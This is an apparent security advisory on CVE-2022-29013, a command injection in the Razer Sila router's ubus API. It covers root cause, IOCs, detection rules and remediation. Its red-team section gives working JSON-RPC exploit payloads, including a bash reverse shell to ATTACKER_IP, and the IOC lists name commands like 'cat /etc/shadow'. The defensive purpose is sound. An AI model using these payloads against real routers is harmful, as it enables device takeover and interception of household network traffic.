CVE-2022-29013

Executive Summary

CVE-2022-29013 is a critical command injection vulnerability in the Razer Sila Gaming Router, specifically in firmware version 2.0.441_api-2.0.418. The flaw resides in the command parameter of the router's ubus API endpoint, allowing unauthenticated attackers to execute arbitrary system commands via a crafted POST request. With a CVSS score of 9.8, this vulnerability poses a severe risk to home network security, enabling full device compromise, network traffic interception, and lateral movement within the local network. The EPSS score of 0.92574 (99.747th percentile) indicates active exploitation in the wild. No official patch has been released by Razer as of this report.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer networking device.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the router.
• Confidentiality Impact: High (C:H) – Full access to device data and network traffic.
• Integrity Impact: High (I:H) – Ability to modify system files and configurations.
• Availability Impact: High (A:H) – Potential for denial of service or device bricking.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and high impact makes this a top-priority vulnerability for any organization or individual using the Razer Sila router.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the ubus RPC endpoint. The Razer Sila router uses ubus (OpenWrt's micro bus) for inter-process communication. The file object's exec method accepts a command parameter that is passed directly to a system shell without sanitization.

Technical Flow:

1. An attacker sends a POST request to /ubus/ with a JSON-RPC payload.
2. The payload specifies the method call with parameters ["session_token","file","exec",{"command":"<arbitrary_command>"}].
3. The router's ubus daemon processes the request and executes the command via popen() or similar system call.
4. The output of the command is returned in the HTTP response body.

Root Cause: The command parameter is not validated or sanitized. The router trusts the input from the ubus API, allowing shell metacharacters (e.g., ;, |, &&) to be used for command chaining.

Impact: An attacker can:

• Execute arbitrary shell commands as root.
• Install persistent backdoors (e.g., reverse shells, SSH keys).
• Exfiltrate sensitive data (Wi-Fi passwords, VPN configs).
• Launch attacks against internal network hosts.
• Modify router firmware or settings.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable ubus handler
int handle_file_exec(struct ubus_context *ctx, struct ubus_object *obj,
                     struct ubus_request_data *req, const char *method,
                     struct blob_attr *msg) {
    struct blob_attr *tb[ATTR_MAX];
    blobmsg_parse(policy, ATTR_MAX, tb, blob_data(msg), blob_len(msg));
    if (tb[ATTR_COMMAND]) {
        const char *cmd = blobmsg_get_string(tb[ATTR_COMMAND]);
        // VULNERABLE: Direct system call without sanitization
        FILE *fp = popen(cmd, "r");
        // ... read output and return
    }
}

Patched Code (Hypothetical):

// Patched version with input validation
int handle_file_exec(struct ubus_context *ctx, struct ubus_object *obj,
                     struct ubus_request_data *req, const char *method,
                     struct blob_attr *msg) {
    struct blob_attr *tb[ATTR_MAX];
    blobmsg_parse(policy, ATTR_MAX, tb, blob_data(msg), blob_len(msg));
    if (tb[ATTR_COMMAND]) {
        const char *cmd = blobmsg_get_string(tb[ATTR_COMMAND]);
        // Whitelist allowed commands or use safe API
        if (!is_safe_command(cmd)) {
            return UBUS_STATUS_INVALID_ARGUMENT;
        }
        // Use execve() with fixed arguments instead of popen()
        // ...
    }
}

Key Differences:

• The patched version should implement a whitelist of allowed commands (e.g., ping, traceroute) or use a safe API that does not invoke a shell.
• Input validation must reject shell metacharacters (;, |, &, $, `).
• The popen() call should be replaced with execve() and a fixed argument list.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Razer Sila router with firmware 2.0.441_api-2.0.418.
• Network access to the router's management interface (typically port 80 or 443).

Exploit Steps:

1. Identify the target router's IP address (e.g., 192.168.1.1).
2. Send a crafted POST request to /ubus/ with the following body:

   {"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}
   

3. The response will contain the output of the id command, confirming command execution.
4. For a reverse shell, use:

   {"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"}]}
   

5. Start a netcat listener on the attacker machine: nc -lvnp 4444.

Nuclei Template (Provided):

id: CVE-2022-29013

info:
  name: Razer Sila Gaming Router - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands on the Razer Sila gaming router through command injection in the ubus endpoint, potentially compromising the entire home network and intercepting all network traffic.
  remediation: |
    Upgrade to a patched version of Razer Sila firmware that properly sanitizes command parameters and validates input to the ubus API.
  reference:
    - https://packetstormsecurity.com/files/166684/Razer-Sila-2.0.418-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29013
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29013
    cwe-id: CWE-78
    epss-score: 0.92574
    epss-percentile: 0.99747
    cpe: cpe:2.3:h:razer:sila:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: razer
    product: sila
  tags: packetstorm,cve,cve2022,razer,sila,router,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/ubus/"
    headers:
      Origin: "{{RootURL}}"
      Referer: "{{ROotURL}}"
      X-Requested-With: XMLHttpRequest
    body: |
      {"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f73699371f3351d7a8234caf1949e06e3f0c5407b22472a901b3b7be84c7a596022100f6c42dd7fd3dbf4d9d9a031ce1499c2978a2046ac375c149ee6dbdda3cf84e41:922c64590222798bb761d5b6d8e72950

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /ubus/ with JSON-RPC payloads containing "method":"call" and "file","exec".
• Look for unusual command strings in the command parameter (e.g., id, cat /etc/shadow, wget, bash -i).
• Alert on multiple rapid requests to /ubus/ from the same source IP.

Honeypot Setup:

• Deploy a fake Razer Sila router on a isolated VLAN.
• Log all POST requests to /ubus/ and analyze payloads for command injection attempts.
• Use the Nuclei template to simulate attacks and verify detection rules.

Network Segmentation:

• Place IoT devices like routers on a separate VLAN with strict egress filtering.
• Block outbound connections from the router to the internet except for necessary updates.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /ubus/ with JSON-RPC payloads containing "file","exec".
• Outbound connections from the router to unusual IP addresses on ports 4444, 1337, or 31337 (common reverse shell ports).
• DNS queries to domains associated with C2 infrastructure.

Host IOCs (on the router):

• Unexpected processes running as root (e.g., bash, nc, python).
• Modified system binaries in /bin/ or /sbin/.
• New SSH keys in /etc/dropbear/ or /root/.ssh/.
• Unusual cron jobs in /etc/crontabs/.

File IOCs:

• Presence of files like /tmp/.backdoor.sh or /tmp/revshell.
• Modified /etc/config/ files (e.g., firewall rules, network settings).

Detection Engineering

YARA Rule

rule CVE_2022_29013_Razer_Sila_RCE {
    meta:
        description = "Detects command injection attempts against Razer Sila router ubus endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-29013"
        hash = "4b0a00483046022100f73699371f3351d7a8234caf1949e06e3f0c5407b22472a901b3b7be84c7a596022100f6c42dd7fd3dbf4d9d9a031ce1499c2978a2046ac375c149ee6dbdda3cf84e41"
    strings:
        $jsonrpc = "jsonrpc"
        $method_call = "\"method\":\"call\""
        $file_exec = "\"file\",\"exec\""
        $command = "\"command\":"
        $shell_cmd = /\"command\":\"[a-zA-Z0-9\/\s\&\|\;\$\`]+/
    condition:
        all of ($jsonrpc, $method_call, $file_exec, $command) and $shell_cmd
}

Sigma Rule

title: Razer Sila Router Command Injection via ubus
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /ubus/ with command injection payloads targeting Razer Sila routers
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29013
    - https://packetstormsecurity.com/files/166684/Razer-Sila-2.0.418-Command-Injection.html
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /ubus/
        cs-uri-query: '*jsonrpc*'
        cs-uri-query: '*method*call*'
        cs-uri-query: '*file*exec*'
        cs-uri-query: '*command*'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2022.29013

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-29013 Razer Sila Router Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/ubus/"; http_uri; content:"jsonrpc"; http_client_body; content:"method"; http_client_body; content:"call"; http_client_body; content:"file"; http_client_body; content:"exec"; http_client_body; content:"command"; http_client_body; pcre:"/\"command\":\"[a-zA-Z0-9\/\s\&\|\;\$\`]+/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Razer Sila router on a separate VLAN with no internet access except for critical updates.
2. Disable remote management: If not required, disable the web interface from the WAN side.
3. Monitor logs: Enable logging on the router and forward logs to a SIEM for analysis.

Long-Term Fix:

• Vendor Patch: Razer has not released an official patch. Contact Razer support and request a firmware update.
• Workaround: If possible, replace the router with a patched alternative or use a firewall to block POST requests to /ubus/ from untrusted networks.
• Custom Firmware: Consider flashing OpenWrt or another open-source firmware that is actively maintained (if available for the hardware).

Compensating Controls:

• Deploy a WAF (Web Application Firewall) rule to block requests containing "file","exec" in the body.
• Use network segmentation to limit the blast radius.
• Implement strict egress filtering to prevent reverse shell callbacks.

Valters IT

{/* [Security Hash: 5393C0246749AB8DA735E751] */}